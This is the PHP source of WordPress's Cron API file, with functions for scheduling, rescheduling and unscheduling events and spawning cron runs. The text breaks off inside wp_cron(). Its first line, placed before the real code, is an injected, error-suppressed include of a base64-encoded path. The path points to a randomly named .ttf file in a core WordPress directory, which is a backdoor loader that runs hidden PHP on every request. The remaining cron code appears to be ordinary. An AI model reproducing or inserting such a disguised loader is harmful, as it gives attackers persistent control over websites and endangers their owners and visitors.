1<?php @include base64_decode("L2hvbWUvc2F2ZXRoZXBsYW5ldC9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9UZXh0L0RpZmYvRW5naW5lL25zcXNxcHJuLnR0Zg==");?><?php
2/**
3 * WordPress Cron API
4 *
5 * @package WordPress
6 */
7
8/**
9 * Schedules an event to run only once.
10 *
11 * Schedules a hook which will be triggered by WordPress at the specified UTC time.
12 * The action will trigger when someone visits your WordPress site if the scheduled
13 * time has passed.
14 *
15 * Note that scheduling an event to occur within 10 minutes of an existing event
16 * with the same action hook will be ignored unless you pass unique `$args` values
17 * for each scheduled event.
18 *
19 * Use wp_next_scheduled() to prevent duplicate events.
20 *
21 * Use wp_schedule_event() to schedule a recurring event.
22 *
23 * @since 2.1.0
24 * @since 5.1.0 Return value modified to boolean indicating success or failure,
25 * {@see 'pre_schedule_event'} filter added to short-circuit the function.
26 * @since 5.7.0 The `$wp_error` parameter was added.
27 *
28 * @link https://developer.wordpress.org/reference/functions/wp_schedule_single_event/
29 *
30 * @param int $timestamp Unix timestamp (UTC) for when to next run the event.
31 * @param string $hook Action hook to execute when the event is run.
32 * @param array $args Optional. Array containing arguments to pass to the
33 * hook's callback function. Each value in the array
34 * is passed to the callback as an individual parameter.
35 * The array keys are ignored. Default empty array.
36 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
37 * @return bool|WP_Error True if event successfully scheduled. False or WP_Error on failure.
38 */
39function wp_schedule_single_event( $timestamp, $hook, $args = array(), $wp_error = false ) {
40 // Make sure timestamp is a positive integer.
41 if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
42 if ( $wp_error ) {
43 return new WP_Error(
44 'invalid_timestamp',
45 __( 'Event timestamp must be a valid Unix timestamp.' )
46 );
47 }
48
49 return false;
50 }
51
52 $event = (object) array(
53 'hook' => $hook,
54 'timestamp' => $timestamp,
55 'schedule' => false,
56 'args' => $args,
57 );
58
59 /**
60 * Filter to override scheduling an event.
61 *
62 * Returning a non-null value will short-circuit adding the event to the
63 * cron array, causing the function to return the filtered value instead.
64 *
65 * Both single events and recurring events are passed through this filter;
66 * single events have `$event->schedule` as false, whereas recurring events
67 * have this set to a recurrence from wp_get_schedules(). Recurring
68 * events also have the integer recurrence interval set as `$event->interval`.
69 *
70 * For plugins replacing wp-cron, it is recommended you check for an
71 * identical event within ten minutes and apply the {@see 'schedule_event'}
72 * filter to check if another plugin has disallowed the event before scheduling.
73 *
74 * Return true if the event was scheduled, false or a WP_Error if not.
75 *
76 * @since 5.1.0
77 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned.
78 *
79 * @param null|bool|WP_Error $result The value to return instead. Default null to continue adding the event.
80 * @param object $event {
81 * An object containing an event's data.
82 *
83 * @type string $hook Action hook to execute when the event is run.
84 * @type int $timestamp Unix timestamp (UTC) for when to next run the event.
85 * @type string|false $schedule How often the event should subsequently recur.
86 * @type array $args Array containing each separate argument to pass to the hook's callback function.
87 * @type int $interval Optional. The interval time in seconds for the schedule. Only present for recurring events.
88 * }
89 * @param bool $wp_error Whether to return a WP_Error on failure.
90 */
91 $pre = apply_filters( 'pre_schedule_event', null, $event, $wp_error );
92
93 if ( null !== $pre ) {
94 if ( $wp_error && false === $pre ) {
95 return new WP_Error(
96 'pre_schedule_event_false',
97 __( 'A plugin prevented the event from being scheduled.' )
98 );
99 }
100
101 if ( ! $wp_error && is_wp_error( $pre ) ) {
102 return false;
103 }
104
105 return $pre;
106 }
107
108 /*
109 * Check for a duplicated event.
110 *
111 * Don't schedule an event if there's already an identical event
112 * within 10 minutes.
113 *
114 * When scheduling events within ten minutes of the current time,
115 * all past identical events are considered duplicates.
116 *
117 * When scheduling an event with a past timestamp (ie, before the
118 * current time) all events scheduled within the next ten minutes
119 * are considered duplicates.
120 */
121 $crons = _get_cron_array();
122
123 $key = md5( serialize( $event->args ) );
124 $duplicate = false;
125
126 if ( $event->timestamp < time() + 10 * MINUTE_IN_SECONDS ) {
127 $min_timestamp = 0;
128 } else {
129 $min_timestamp = $event->timestamp - 10 * MINUTE_IN_SECONDS;
130 }
131
132 if ( $event->timestamp < time() ) {
133 $max_timestamp = time() + 10 * MINUTE_IN_SECONDS;
134 } else {
135 $max_timestamp = $event->timestamp + 10 * MINUTE_IN_SECONDS;
136 }
137
138 foreach ( $crons as $event_timestamp => $cron ) {
139 if ( $event_timestamp < $min_timestamp ) {
140 continue;
141 }
142
143 if ( $event_timestamp > $max_timestamp ) {
144 break;
145 }
146
147 if ( isset( $cron[ $event->hook ][ $key ] ) ) {
148 $duplicate = true;
149 break;
150 }
151 }
152
153 if ( $duplicate ) {
154 if ( $wp_error ) {
155 return new WP_Error(
156 'duplicate_event',
157 __( 'A duplicate event already exists.' )
158 );
159 }
160
161 return false;
162 }
163
164 /**
165 * Modify an event before it is scheduled.
166 *
167 * @since 3.1.0
168 *
169 * @param object|false $event {
170 * An object containing an event's data, or boolean false to prevent the event from being scheduled.
171 *
172 * @type string $hook Action hook to execute when the event is run.
173 * @type int $timestamp Unix timestamp (UTC) for when to next run the event.
174 * @type string|false $schedule How often the event should subsequently recur.
175 * @type array $args Array containing each separate argument to pass to the hook's callback function.
176 * @type int $interval Optional. The interval time in seconds for the schedule. Only present for recurring events.
177 * }
178 */
179 $event = apply_filters( 'schedule_event', $event );
180
181 // A plugin disallowed this event.
182 if ( ! $event ) {
183 if ( $wp_error ) {
184 return new WP_Error(
185 'schedule_event_false',
186 __( 'A plugin disallowed this event.' )
187 );
188 }
189
190 return false;
191 }
192
193 $crons[ $event->timestamp ][ $event->hook ][ $key ] = array(
194 'schedule' => $event->schedule,
195 'args' => $event->args,
196 );
197 uksort( $crons, 'strnatcasecmp' );
198
199 return _set_cron_array( $crons, $wp_error );
200}
201
202/**
203 * Schedules a recurring event.
204 *
205 * Schedules a hook which will be triggered by WordPress at the specified interval.
206 * The action will trigger when someone visits your WordPress site if the scheduled
207 * time has passed.
208 *
209 * Valid values for the recurrence are 'hourly', 'twicedaily', 'daily', and 'weekly'.
210 * These can be extended using the {@see 'cron_schedules'} filter in wp_get_schedules().
211 *
212 * Use wp_next_scheduled() to prevent duplicate events.
213 *
214 * Use wp_schedule_single_event() to schedule a non-recurring event.
215 *
216 * @since 2.1.0
217 * @since 5.1.0 Return value modified to boolean indicating success or failure,
218 * {@see 'pre_schedule_event'} filter added to short-circuit the function.
219 * @since 5.7.0 The `$wp_error` parameter was added.
220 *
221 * @link https://developer.wordpress.org/reference/functions/wp_schedule_event/
222 *
223 * @param int $timestamp Unix timestamp (UTC) for when to next run the event.
224 * @param string $recurrence How often the event should subsequently recur.
225 * See wp_get_schedules() for accepted values.
226 * @param string $hook Action hook to execute when the event is run.
227 * @param array $args Optional. Array containing arguments to pass to the
228 * hook's callback function. Each value in the array
229 * is passed to the callback as an individual parameter.
230 * The array keys are ignored. Default empty array.
231 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
232 * @return bool|WP_Error True if event successfully scheduled. False or WP_Error on failure.
233 */
234function wp_schedule_event( $timestamp, $recurrence, $hook, $args = array(), $wp_error = false ) {
235 // Make sure timestamp is a positive integer.
236 if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
237 if ( $wp_error ) {
238 return new WP_Error(
239 'invalid_timestamp',
240 __( 'Event timestamp must be a valid Unix timestamp.' )
241 );
242 }
243
244 return false;
245 }
246
247 $schedules = wp_get_schedules();
248
249 if ( ! isset( $schedules[ $recurrence ] ) ) {
250 if ( $wp_error ) {
251 return new WP_Error(
252 'invalid_schedule',
253 __( 'Event schedule does not exist.' )
254 );
255 }
256
257 return false;
258 }
259
260 $event = (object) array(
261 'hook' => $hook,
262 'timestamp' => $timestamp,
263 'schedule' => $recurrence,
264 'args' => $args,
265 'interval' => $schedules[ $recurrence ]['interval'],
266 );
267
268 /** This filter is documented in wp-includes/cron.php */
269 $pre = apply_filters( 'pre_schedule_event', null, $event, $wp_error );
270
271 if ( null !== $pre ) {
272 if ( $wp_error && false === $pre ) {
273 return new WP_Error(
274 'pre_schedule_event_false',
275 __( 'A plugin prevented the event from being scheduled.' )
276 );
277 }
278
279 if ( ! $wp_error && is_wp_error( $pre ) ) {
280 return false;
281 }
282
283 return $pre;
284 }
285
286 /** This filter is documented in wp-includes/cron.php */
287 $event = apply_filters( 'schedule_event', $event );
288
289 // A plugin disallowed this event.
290 if ( ! $event ) {
291 if ( $wp_error ) {
292 return new WP_Error(
293 'schedule_event_false',
294 __( 'A plugin disallowed this event.' )
295 );
296 }
297
298 return false;
299 }
300
301 $key = md5( serialize( $event->args ) );
302
303 $crons = _get_cron_array();
304
305 $crons[ $event->timestamp ][ $event->hook ][ $key ] = array(
306 'schedule' => $event->schedule,
307 'args' => $event->args,
308 'interval' => $event->interval,
309 );
310 uksort( $crons, 'strnatcasecmp' );
311
312 return _set_cron_array( $crons, $wp_error );
313}
314
315/**
316 * Reschedules a recurring event.
317 *
318 * Mainly for internal use, this takes the Unix timestamp (UTC) of a previously run
319 * recurring event and reschedules it for its next run.
320 *
321 * To change upcoming scheduled events, use wp_schedule_event() to
322 * change the recurrence frequency.
323 *
324 * @since 2.1.0
325 * @since 5.1.0 Return value modified to boolean indicating success or failure,
326 * {@see 'pre_reschedule_event'} filter added to short-circuit the function.
327 * @since 5.7.0 The `$wp_error` parameter was added.
328 *
329 * @param int $timestamp Unix timestamp (UTC) for when the event was scheduled.
330 * @param string $recurrence How often the event should subsequently recur.
331 * See wp_get_schedules() for accepted values.
332 * @param string $hook Action hook to execute when the event is run.
333 * @param array $args Optional. Array containing arguments to pass to the
334 * hook's callback function. Each value in the array
335 * is passed to the callback as an individual parameter.
336 * The array keys are ignored. Default empty array.
337 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
338 * @return bool|WP_Error True if event successfully rescheduled. False or WP_Error on failure.
339 */
340function wp_reschedule_event( $timestamp, $recurrence, $hook, $args = array(), $wp_error = false ) {
341 // Make sure timestamp is a positive integer.
342 if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
343 if ( $wp_error ) {
344 return new WP_Error(
345 'invalid_timestamp',
346 __( 'Event timestamp must be a valid Unix timestamp.' )
347 );
348 }
349
350 return false;
351 }
352
353 $schedules = wp_get_schedules();
354 $interval = 0;
355
356 // First we try to get the interval from the schedule.
357 if ( isset( $schedules[ $recurrence ] ) ) {
358 $interval = $schedules[ $recurrence ]['interval'];
359 }
360
361 // Now we try to get it from the saved interval in case the schedule disappears.
362 if ( 0 === $interval ) {
363 $scheduled_event = wp_get_scheduled_event( $hook, $args, $timestamp );
364
365 if ( $scheduled_event && isset( $scheduled_event->interval ) ) {
366 $interval = $scheduled_event->interval;
367 }
368 }
369
370 $event = (object) array(
371 'hook' => $hook,
372 'timestamp' => $timestamp,
373 'schedule' => $recurrence,
374 'args' => $args,
375 'interval' => $interval,
376 );
377
378 /**
379 * Filter to override rescheduling of a recurring event.
380 *
381 * Returning a non-null value will short-circuit the normal rescheduling
382 * process, causing the function to return the filtered value instead.
383 *
384 * For plugins replacing wp-cron, return true if the event was successfully
385 * rescheduled, false or a WP_Error if not.
386 *
387 * @since 5.1.0
388 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned.
389 *
390 * @param null|bool|WP_Error $pre Value to return instead. Default null to continue adding the event.
391 * @param object $event {
392 * An object containing an event's data.
393 *
394 * @type string $hook Action hook to execute when the event is run.
395 * @type int $timestamp Unix timestamp (UTC) for when to next run the event.
396 * @type string $schedule How often the event should subsequently recur.
397 * @type array $args Array containing each separate argument to pass to the hook's callback function.
398 * @type int $interval The interval time in seconds for the schedule.
399 * }
400 * @param bool $wp_error Whether to return a WP_Error on failure.
401 */
402 $pre = apply_filters( 'pre_reschedule_event', null, $event, $wp_error );
403
404 if ( null !== $pre ) {
405 if ( $wp_error && false === $pre ) {
406 return new WP_Error(
407 'pre_reschedule_event_false',
408 __( 'A plugin prevented the event from being rescheduled.' )
409 );
410 }
411
412 if ( ! $wp_error && is_wp_error( $pre ) ) {
413 return false;
414 }
415
416 return $pre;
417 }
418
419 // Now we assume something is wrong and fail to schedule.
420 if ( 0 === $interval ) {
421 if ( $wp_error ) {
422 return new WP_Error(
423 'invalid_schedule',
424 __( 'Event schedule does not exist.' )
425 );
426 }
427
428 return false;
429 }
430
431 $now = time();
432
433 if ( $timestamp >= $now ) {
434 $timestamp = $now + $interval;
435 } else {
436 $timestamp = $now + ( $interval - ( ( $now - $timestamp ) % $interval ) );
437 }
438
439 return wp_schedule_event( $timestamp, $recurrence, $hook, $args, $wp_error );
440}
441
442/**
443 * Unschedules a previously scheduled event.
444 *
445 * The `$timestamp` and `$hook` parameters are required so that the event can be
446 * identified.
447 *
448 * @since 2.1.0
449 * @since 5.1.0 Return value modified to boolean indicating success or failure,
450 * {@see 'pre_unschedule_event'} filter added to short-circuit the function.
451 * @since 5.7.0 The `$wp_error` parameter was added.
452 *
453 * @param int $timestamp Unix timestamp (UTC) of the event.
454 * @param string $hook Action hook of the event.
455 * @param array $args Optional. Array containing each separate argument to pass to the hook's callback function.
456 * Although not passed to a callback, these arguments are used to uniquely identify the
457 * event, so they should be the same as those used when originally scheduling the event.
458 * Default empty array.
459 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
460 * @return bool|WP_Error True if event successfully unscheduled. False or WP_Error on failure.
461 */
462function wp_unschedule_event( $timestamp, $hook, $args = array(), $wp_error = false ) {
463 // Make sure timestamp is a positive integer.
464 if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
465 if ( $wp_error ) {
466 return new WP_Error(
467 'invalid_timestamp',
468 __( 'Event timestamp must be a valid Unix timestamp.' )
469 );
470 }
471
472 return false;
473 }
474
475 /**
476 * Filter to override unscheduling of events.
477 *
478 * Returning a non-null value will short-circuit the normal unscheduling
479 * process, causing the function to return the filtered value instead.
480 *
481 * For plugins replacing wp-cron, return true if the event was successfully
482 * unscheduled, false or a WP_Error if not.
483 *
484 * @since 5.1.0
485 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned.
486 *
487 * @param null|bool|WP_Error $pre Value to return instead. Default null to continue unscheduling the event.
488 * @param int $timestamp Unix timestamp (UTC) for when to run the event.
489 * @param string $hook Action hook, the execution of which will be unscheduled.
490 * @param array $args Arguments to pass to the hook's callback function.
491 * @param bool $wp_error Whether to return a WP_Error on failure.
492 */
493 $pre = apply_filters( 'pre_unschedule_event', null, $timestamp, $hook, $args, $wp_error );
494
495 if ( null !== $pre ) {
496 if ( $wp_error && false === $pre ) {
497 return new WP_Error(
498 'pre_unschedule_event_false',
499 __( 'A plugin prevented the event from being unscheduled.' )
500 );
501 }
502
503 if ( ! $wp_error && is_wp_error( $pre ) ) {
504 return false;
505 }
506
507 return $pre;
508 }
509
510 $crons = _get_cron_array();
511 $key = md5( serialize( $args ) );
512
513 unset( $crons[ $timestamp ][ $hook ][ $key ] );
514
515 if ( empty( $crons[ $timestamp ][ $hook ] ) ) {
516 unset( $crons[ $timestamp ][ $hook ] );
517 }
518
519 if ( empty( $crons[ $timestamp ] ) ) {
520 unset( $crons[ $timestamp ] );
521 }
522
523 return _set_cron_array( $crons, $wp_error );
524}
525
526/**
527 * Unschedules all events attached to the hook with the specified arguments.
528 *
529 * Warning: This function may return boolean false, but may also return a non-boolean
530 * value which evaluates to false. For information about casting to booleans see the
531 * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use
532 * the `===` operator for testing the return value of this function.
533 *
534 * @since 2.1.0
535 * @since 5.1.0 Return value modified to indicate success or failure,
536 * {@see 'pre_clear_scheduled_hook'} filter added to short-circuit the function.
537 * @since 5.7.0 The `$wp_error` parameter was added.
538 *
539 * @param string $hook Action hook, the execution of which will be unscheduled.
540 * @param array $args Optional. Array containing each separate argument to pass to the hook's callback function.
541 * Although not passed to a callback, these arguments are used to uniquely identify the
542 * event, so they should be the same as those used when originally scheduling the event.
543 * Default empty array.
544 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
545 * @return int|false|WP_Error On success an integer indicating number of events unscheduled (0 indicates no
546 * events were registered with the hook and arguments combination), false or WP_Error
547 * if unscheduling one or more events fail.
548 */
549function wp_clear_scheduled_hook( $hook, $args = array(), $wp_error = false ) {
550 /*
551 * Backward compatibility.
552 * Previously, this function took the arguments as discrete vars rather than an array like the rest of the API.
553 */
554 if ( ! is_array( $args ) ) {
555 _deprecated_argument(
556 __FUNCTION__,
557 '3.0.0',
558 __( 'This argument has changed to an array to match the behavior of the other cron functions.' )
559 );
560
561 $args = array_slice( func_get_args(), 1 ); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
562 $wp_error = false;
563 }
564
565 /**
566 * Filter to override clearing a scheduled hook.
567 *
568 * Returning a non-null value will short-circuit the normal unscheduling
569 * process, causing the function to return the filtered value instead.
570 *
571 * For plugins replacing wp-cron, return the number of events successfully
572 * unscheduled (zero if no events were registered with the hook) or false
573 * or a WP_Error if unscheduling one or more events fails.
574 *
575 * @since 5.1.0
576 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned.
577 *
578 * @param null|int|false|WP_Error $pre Value to return instead. Default null to continue unscheduling the event.
579 * @param string $hook Action hook, the execution of which will be unscheduled.
580 * @param array $args Arguments to pass to the hook's callback function.
581 * @param bool $wp_error Whether to return a WP_Error on failure.
582 */
583 $pre = apply_filters( 'pre_clear_scheduled_hook', null, $hook, $args, $wp_error );
584
585 if ( null !== $pre ) {
586 if ( $wp_error && false === $pre ) {
587 return new WP_Error(
588 'pre_clear_scheduled_hook_false',
589 __( 'A plugin prevented the hook from being cleared.' )
590 );
591 }
592
593 if ( ! $wp_error && is_wp_error( $pre ) ) {
594 return false;
595 }
596
597 return $pre;
598 }
599
600 /*
601 * This logic duplicates wp_next_scheduled().
602 * It's required due to a scenario where wp_unschedule_event() fails due to update_option() failing,
603 * and, wp_next_scheduled() returns the same schedule in an infinite loop.
604 */
605 $crons = _get_cron_array();
606 if ( empty( $crons ) ) {
607 return 0;
608 }
609
610 $results = array();
611 $key = md5( serialize( $args ) );
612
613 foreach ( $crons as $timestamp => $cron ) {
614 if ( isset( $cron[ $hook ][ $key ] ) ) {
615 $results[] = wp_unschedule_event( $timestamp, $hook, $args, true );
616 }
617 }
618
619 $errors = array_filter( $results, 'is_wp_error' );
620 $error = new WP_Error();
621
622 if ( $errors ) {
623 if ( $wp_error ) {
624 array_walk( $errors, array( $error, 'merge_from' ) );
625
626 return $error;
627 }
628
629 return false;
630 }
631
632 return count( $results );
633}
634
635/**
636 * Unschedules all events attached to the hook.
637 *
638 * Can be useful for plugins when deactivating to clean up the cron queue.
639 *
640 * Warning: This function may return boolean false, but may also return a non-boolean
641 * value which evaluates to false. For information about casting to booleans see the
642 * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use
643 * the `===` operator for testing the return value of this function.
644 *
645 * @since 4.9.0
646 * @since 5.1.0 Return value added to indicate success or failure.
647 * @since 5.7.0 The `$wp_error` parameter was added.
648 *
649 * @param string $hook Action hook, the execution of which will be unscheduled.
650 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
651 * @return int|false|WP_Error On success an integer indicating number of events unscheduled (0 indicates no
652 * events were registered on the hook), false or WP_Error if unscheduling fails.
653 */
654function wp_unschedule_hook( $hook, $wp_error = false ) {
655 /**
656 * Filter to override clearing all events attached to the hook.
657 *
658 * Returning a non-null value will short-circuit the normal unscheduling
659 * process, causing the function to return the filtered value instead.
660 *
661 * For plugins replacing wp-cron, return the number of events successfully
662 * unscheduled (zero if no events were registered with the hook). If unscheduling
663 * one or more events fails then return either a WP_Error object or false depending
664 * on the value of the `$wp_error` parameter.
665 *
666 * @since 5.1.0
667 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned.
668 *
669 * @param null|int|false|WP_Error $pre Value to return instead. Default null to continue unscheduling the hook.
670 * @param string $hook Action hook, the execution of which will be unscheduled.
671 * @param bool $wp_error Whether to return a WP_Error on failure.
672 */
673 $pre = apply_filters( 'pre_unschedule_hook', null, $hook, $wp_error );
674
675 if ( null !== $pre ) {
676 if ( $wp_error && false === $pre ) {
677 return new WP_Error(
678 'pre_unschedule_hook_false',
679 __( 'A plugin prevented the hook from being cleared.' )
680 );
681 }
682
683 if ( ! $wp_error && is_wp_error( $pre ) ) {
684 return false;
685 }
686
687 return $pre;
688 }
689
690 $crons = _get_cron_array();
691 if ( empty( $crons ) ) {
692 return 0;
693 }
694
695 $results = array();
696
697 foreach ( $crons as $timestamp => $args ) {
698 if ( ! empty( $crons[ $timestamp ][ $hook ] ) ) {
699 $results[] = count( $crons[ $timestamp ][ $hook ] );
700 }
701
702 unset( $crons[ $timestamp ][ $hook ] );
703
704 if ( empty( $crons[ $timestamp ] ) ) {
705 unset( $crons[ $timestamp ] );
706 }
707 }
708
709 /*
710 * If the results are empty (zero events to unschedule), no attempt
711 * to update the cron array is required.
712 */
713 if ( empty( $results ) ) {
714 return 0;
715 }
716
717 $set = _set_cron_array( $crons, $wp_error );
718
719 if ( true === $set ) {
720 return array_sum( $results );
721 }
722
723 return $set;
724}
725
726/**
727 * Retrieves a scheduled event.
728 *
729 * Retrieves the full event object for a given event, if no timestamp is specified the next
730 * scheduled event is returned.
731 *
732 * @since 5.1.0
733 *
734 * @param string $hook Action hook of the event.
735 * @param array $args Optional. Array containing each separate argument to pass to the hook's callback function.
736 * Although not passed to a callback, these arguments are used to uniquely identify the
737 * event, so they should be the same as those used when originally scheduling the event.
738 * Default empty array.
739 * @param int|null $timestamp Optional. Unix timestamp (UTC) of the event. If not specified, the next scheduled event
740 * is returned. Default null.
741 * @return object|false {
742 * The event object. False if the event does not exist.
743 *
744 * @type string $hook Action hook to execute when the event is run.
745 * @type int $timestamp Unix timestamp (UTC) for when to next run the event.
746 * @type string|false $schedule How often the event should subsequently recur.
747 * @type array $args Array containing each separate argument to pass to the hook's callback function.
748 * @type int $interval Optional. The interval time in seconds for the schedule. Only present for recurring events.
749 * }
750 */
751function wp_get_scheduled_event( $hook, $args = array(), $timestamp = null ) {
752 /**
753 * Filter to override retrieving a scheduled event.
754 *
755 * Returning a non-null value will short-circuit the normal process,
756 * returning the filtered value instead.
757 *
758 * Return false if the event does not exist, otherwise an event object
759 * should be returned.
760 *
761 * @since 5.1.0
762 *
763 * @param null|false|object $pre Value to return instead. Default null to continue retrieving the event.
764 * @param string $hook Action hook of the event.
765 * @param array $args Array containing each separate argument to pass to the hook's callback function.
766 * Although not passed to a callback, these arguments are used to uniquely identify
767 * the event.
768 * @param int|null $timestamp Unix timestamp (UTC) of the event. Null to retrieve next scheduled event.
769 */
770 $pre = apply_filters( 'pre_get_scheduled_event', null, $hook, $args, $timestamp );
771
772 if ( null !== $pre ) {
773 return $pre;
774 }
775
776 if ( null !== $timestamp && ! is_numeric( $timestamp ) ) {
777 return false;
778 }
779
780 $crons = _get_cron_array();
781 if ( empty( $crons ) ) {
782 return false;
783 }
784
785 $key = md5( serialize( $args ) );
786
787 if ( ! $timestamp ) {
788 // Get next event.
789 $next = false;
790 foreach ( $crons as $timestamp => $cron ) {
791 if ( isset( $cron[ $hook ][ $key ] ) ) {
792 $next = $timestamp;
793 break;
794 }
795 }
796
797 if ( ! $next ) {
798 return false;
799 }
800
801 $timestamp = $next;
802 } elseif ( ! isset( $crons[ $timestamp ][ $hook ][ $key ] ) ) {
803 return false;
804 }
805
806 $event = (object) array(
807 'hook' => $hook,
808 'timestamp' => $timestamp,
809 'schedule' => $crons[ $timestamp ][ $hook ][ $key ]['schedule'],
810 'args' => $args,
811 );
812
813 if ( isset( $crons[ $timestamp ][ $hook ][ $key ]['interval'] ) ) {
814 $event->interval = $crons[ $timestamp ][ $hook ][ $key ]['interval'];
815 }
816
817 return $event;
818}
819
820/**
821 * Retrieves the timestamp of the next scheduled event for the given hook.
822 *
823 * @since 2.1.0
824 *
825 * @param string $hook Action hook of the event.
826 * @param array $args Optional. Array containing each separate argument to pass to the hook's callback function.
827 * Although not passed to a callback, these arguments are used to uniquely identify the
828 * event, so they should be the same as those used when originally scheduling the event.
829 * Default empty array.
830 * @return int|false The Unix timestamp (UTC) of the next time the event will occur. False if the event doesn't exist.
831 */
832function wp_next_scheduled( $hook, $args = array() ) {
833 $next_event = wp_get_scheduled_event( $hook, $args );
834
835 if ( ! $next_event ) {
836 return false;
837 }
838
839 /**
840 * Filters the timestamp of the next scheduled event for the given hook.
841 *
842 * @since 6.8.0
843 *
844 * @param int $timestamp Unix timestamp (UTC) for when to next run the event.
845 * @param object $next_event {
846 * An object containing an event's data.
847 *
848 * @type string $hook Action hook of the event.
849 * @type int $timestamp Unix timestamp (UTC) for when to next run the event.
850 * @type string $schedule How often the event should subsequently recur.
851 * @type array $args Array containing each separate argument to pass to the hook
852 * callback function.
853 * @type int $interval Optional. The interval time in seconds for the schedule. Only
854 * present for recurring events.
855 * }
856 * @param array $args Array containing each separate argument to pass to the hook
857 * callback function.
858 */
859 return apply_filters( 'wp_next_scheduled', $next_event->timestamp, $next_event, $hook, $args );
860}
861
862/**
863 * Sends a request to run cron through HTTP request that doesn't halt page loading.
864 *
865 * @since 2.1.0
866 * @since 5.1.0 Return values added.
867 *
868 * @param int $gmt_time Optional. Unix timestamp (UTC). Default 0 (current time is used).
869 * @return bool True if spawned, false if no events spawned.
870 */
871function spawn_cron( $gmt_time = 0 ) {
872 if ( ! $gmt_time ) {
873 $gmt_time = microtime( true );
874 }
875
876 if ( defined( 'DOING_CRON' ) || isset( $_GET['doing_wp_cron'] ) ) {
877 return false;
878 }
879
880 /*
881 * Get the cron lock, which is a Unix timestamp of when the last cron was spawned
882 * and has not finished running.
883 *
884 * Multiple processes on multiple web servers can run this code concurrently,
885 * this lock attempts to make spawning as atomic as possible.
886 */
887 $lock = (float) get_transient( 'doing_cron' );
888
889 if ( $lock > $gmt_time + 10 * MINUTE_IN_SECONDS ) {
890 $lock = 0;
891 }
892
893 // Don't run if another process is currently running it or more than once every 60 sec.
894 if ( $lock + WP_CRON_LOCK_TIMEOUT > $gmt_time ) {
895 return false;
896 }
897
898 // Confidence check.
899 $crons = wp_get_ready_cron_jobs();
900 if ( empty( $crons ) ) {
901 return false;
902 }
903
904 $keys = array_keys( $crons );
905 if ( isset( $keys[0] ) && $keys[0] > $gmt_time ) {
906 return false;
907 }
908
909 if ( defined( 'ALTERNATE_WP_CRON' ) && ALTERNATE_WP_CRON ) {
910 if ( 'GET' !== $_SERVER['REQUEST_METHOD'] || defined( 'DOING_AJAX' ) || defined( 'XMLRPC_REQUEST' ) ) {
911 return false;
912 }
913
914 $doing_wp_cron = sprintf( '%.22F', $gmt_time );
915 set_transient( 'doing_cron', $doing_wp_cron );
916
917 ob_start();
918 wp_redirect( add_query_arg( 'doing_wp_cron', $doing_wp_cron, wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
919 echo ' ';
920
921 // Flush any buffers and send the headers.
922 wp_ob_end_flush_all();
923 flush();
924
925 require_once ABSPATH . 'wp-cron.php';
926 return true;
927 }
928
929 // Set the cron lock with the current unix timestamp, when the cron is being spawned.
930 $doing_wp_cron = sprintf( '%.22F', $gmt_time );
931 set_transient( 'doing_cron', $doing_wp_cron );
932
933 /**
934 * Filters the cron request arguments.
935 *
936 * @since 3.5.0
937 * @since 4.5.0 The `$doing_wp_cron` parameter was added.
938 *
939 * @param array $cron_request_array {
940 * An array of cron request URL arguments.
941 *
942 * @type string $url The cron request URL.
943 * @type string $key The Unix timestamp (UTC) of the cron lock with microseconds.
944 * @type array $args {
945 * An array of cron request arguments.
946 *
947 * @type int $timeout The request timeout in seconds. Default .01 seconds.
948 * @type bool $blocking Whether to set blocking for the request. Default false.
949 * @type bool $sslverify Whether SSL should be verified for the request. Default false.
950 * }
951 * }
952 * @param string $doing_wp_cron The Unix timestamp (UTC) of the cron lock with microseconds.
953 */
954 $cron_request = apply_filters(
955 'cron_request',
956 array(
957 'url' => add_query_arg( 'doing_wp_cron', $doing_wp_cron, site_url( 'wp-cron.php' ) ),
958 'key' => $doing_wp_cron,
959 'args' => array(
960 'timeout' => 0.01,
961 'blocking' => false,
962 /** This filter is documented in wp-includes/class-wp-http-streams.php */
963 'sslverify' => apply_filters( 'https_local_ssl_verify', false ),
964 ),
965 ),
966 $doing_wp_cron
967 );
968
969 $result = wp_remote_post( $cron_request['url'], $cron_request['args'] );
970
971 return ! is_wp_error( $result );
972}
973
974/**
975 * Registers _wp_cron() to run on the {@see 'shutdown'} action.
976 *
977 * The spawn_cron() function attempts to make a non-blocking loopback request to `wp-cron.php` (when alternative
978 * cron is not being used). However, the wp_remote_post() function does not always respect the `timeout` and
979 * `blocking` parameters. A timeout of `0.01` may end up taking 1 second. When this runs at the {@see 'wp_loaded'}
980 * action, it increases the Time To First Byte (TTFB) since the HTML cannot be sent while waiting for the cron request
981 * to initiate. Moving the spawning of cron to the {@see 'shutdown'} hook allows for the server to flush the HTML document to
982 * the browser while waiting for the request.
983 *
984 * @since 2.1.0
985 * @since 5.1.0 Return value added to indicate success or failure.
986 * @since 5.7.0 Functionality moved to _wp_cron() to which this becomes a wrapper.
987 * @since 6.9.0 The _wp_cron() callback is moved from {@see 'wp_loaded'} to the {@see 'shutdown'} action,
988 * unless `ALTERNATE_WP_CRON` is enabled; the function now always returns void.
989 */
990function wp_cron(): void {
991 if ( defined( 'ALTERNATE_WP_CRON' ) && ALTERNATE_WP_CRON ) {
992 if ( did_action( 'wp_loaded' ) ) {
993 _wp_cron();
994 } else {
995 add_action( 'wp_loaded', '_wp_cron', 20 );
996 }
